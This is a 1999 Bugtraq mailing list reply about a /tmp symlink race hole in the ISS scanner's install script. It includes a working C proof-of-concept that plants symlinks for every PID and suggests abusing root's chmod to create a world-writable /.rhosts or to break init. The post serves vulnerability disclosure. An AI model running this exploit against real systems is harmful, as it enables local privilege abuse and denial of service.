Bugtraq mailing list archives
Re: ISS install.iss security hole
From: na98jen () STUDENT HIG SE (Joel Eriksson)
Date: Mon, 22 Feb 1999 13:35:21 +0100
On Sat, 20 Feb 1999, Fyodor wrote:
Today I downloade the latest trial version of Internet Security Scanner for Linux (version 5.3). The install program (shell script) requires that you be root, even if you want to install ISS in your home directory. I decided to edit the script to comment out the root-check, and was rather shocked when I saw what they are doing in install.iss: # Only root can pass the next four operations. # Yes it's ugly - BUT IT WORKS! touch /tmp/.root.$$ >> /dev/null 2>&1 chmod 600 /tmp/.root.$$ >> /dev/null 2>&1 Obviously this is vulnerable to the standard tmp-symlink problem. And they don't even look for the file first, so there is no need to worry about exploiting race conditions -- just stick the 65K symlinks in /tmp and wait for root to install ISS (you might have to wait a while ;). I've tested that you can chmod whatever file you want to 600. This could make for an easy DOS, but off the top of my head I don't see much more exploit potential.
One other issue that I see with this is: --- start of stupid 3xPl0i+ example #include <stdio.h> #include <string.h> #include <sys/stat.h> #include <unistd.h> #define MINPID 1 #define MAXPID 65535 int main(int argc, char **argv) { char filename[16+1]; /* Assuming MAXPID = 65535 or at least a five digit number */ struct stat buf; int i; if(argc != 2) { fprintf(stderr, "Usage: %s <file-to-create>\n", argv[0]); exit(1); } memset(filename, 0, sizeof(filename)); for(i=MINPID; i<=MAXPID; i++) { snprintf(filename, 17, "/tmp/.root.%d", i); symlink(argv[1], filename); } memset(filename, 0, sizeof(filename)); while(stat(argv[1], &buf) == -1); for(i=MINPID; i<=MAXPID; i++) { snprintf(filename, 17, "/tmp/.root.%d", i); unlink(filename); } printf("%s was created. Filemode = 0%o\n", argv[1], buf.st_mode & 0666); if(! access(argv[1], W_OK)) printf("I suppose you got lucky... (Or ran this as root.)\n"); else printf("Sorry, no write permissions for you...\n"); exit(0); } --- end of stupid 3xPl0i+ example For those who can't code, or does not see my point, if root has a stupid umask this vulnerability may be exploited to create for example a world-writeable /.rhosts (I suppose the ISS-script does not change umask to 077, since they do a chmod on the file). No matter what the umask is it could easily be made to perform a DoS-attack, what about changing the permissions on for example `which init` to 600... Anyone with a little imagination could think of other possibilities.
While this is probably not going to be exploited much (if ever), it really concerns me that kindergarden-level security holes are still present in current mass market **security** software. Remember that ISS chooses not to offer us (or even paying customers!) the source code for their scanner. So we have to trust ISS programmers are highly competent and aware of secure coding issues. When I find problems like the one above without even looking for them, I have to wonder whether this trust is misplaced.
That is the BIG issue here. My exploit example is a possible attack, but there is still a rather small chance of it being successfully used for something else than a DoS-attack since we have to unlink the symlink before the chmod occurs, and since root must have a stupid umask... What really does disturb me, just as Fyodor, is that this really basic kind of securityhole exists in a commercial securityscanner, that is supposed to find other securityflaws on its customers systems. If I was an ISS customer I would start to worry just about, now...
Cheers, Fyodor PS (shameless plug): Version 2.08 of the nmap security scanner is available free, with source code, at http://www.insecure.org/nmap/
It's a great tool! :-) / Joel Eriksson - Systems / Security administrator, Network engineer, Programmer, UNIX Guru
Current thread:
- Re: Process table attack (from RISKS Digest), (continued)
- Re: Process table attack (from RISKS Digest) Dug Song (Feb 22)
- NetBus client 1.x overflow Daniel Rosowski (Feb 22)
- Re: Process table attack (from RISKS Digest) James Lockwood (Feb 22)
- Re: Process table attack (from RISKS Digest) Dirk Moerenhout (Feb 22)
- Re: Process table attack (from RISKS Digest) unknown () RIVERSTYX NET (Feb 22)
- Re: Process table attack (from RISKS Digest) Andrew Hobgood (Feb 22)
- Denial of service process table attacks John Conover (Feb 23)
- Group kmem exploitable? Oliver Xymoron (Feb 23)
- Re: Pro/wuFTPD DoS Alex Belits (Feb 21)
- ISS install.iss security hole Fyodor (Feb 20)
- Re: ISS install.iss security hole Joel Eriksson (Feb 22)
- Preventing remote OS detection Patrick Gilbert (Feb 22)
- Re: Preventing remote OS detection James Lockwood (Feb 22)
- Re: Preventing remote OS detection route () RESENTMENT INFONEXUS COM (Feb 22)
- Re: Preventing remote OS detection Salvatore Sanfilippo (Feb 23)
- Re: ISS install.iss security hole Peter Benie (Feb 22)
- Re: ISS install.iss security hole Michael Warfield (Feb 22)
- BlackHats Advisory -- InterScan VirusWall The Unicorn (Feb 22)
- Microsoft Security Bulletin (MS99-007) aleph1 () UNDERGROUND ORG (Feb 22)